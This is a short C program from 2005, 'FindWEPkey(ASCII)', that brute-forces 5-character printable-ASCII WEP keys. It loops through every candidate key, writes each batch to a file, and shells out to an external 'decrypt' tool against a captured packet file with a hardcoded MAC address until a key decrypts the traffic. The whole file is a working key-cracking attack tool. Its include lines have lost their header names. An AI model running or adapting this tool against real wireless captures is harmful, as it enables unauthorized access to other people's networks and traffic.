/****************************************************************************** * FindWEPkey(ASCII), v.1.00 * * * * by * * * * L. Padilla (e-mail: padilla at domain "gae ucm es") * * * * Madrid, April 2005 * * * * Compile with: cc -O -o findwepkey_ascii findwepkey_ascii.c * * Latest version http://www.gae.ucm.es/~padilla/extrawork/findwepkey_ascii.c * ******************************************************************************/ #include #include #define KEY 5 #define MIN 0x20 #define MAX 0x7E int main (void) { int i, k[KEY]; FILE * file_p; for (k[0] = MIN; k[0] <= MAX; k[0]++) for (k[1] = MIN; k[1] <= MAX; k[1]++) { file_p = fopen ("findwepkey.dat", "w"); for (k[2] = MIN; k[2] <= MAX; k[2]++) for (k[3] = MIN; k[3] <= MAX; k[3]++) for (k[4] = MIN; k[4] <= MAX; k[4]++) { for (i = 0; i < KEY - 1; i++) fprintf (file_p, "%0.2X:", k[i]); fprintf (file_p, "%0.2X\n", k[KEY - 1]); } fclose (file_p); system ("decrypt -f findwepkey.dat -m 00:0F:ED:CB:A9:87 -e packets.pcap -d tmp.pcap"); } return 0; }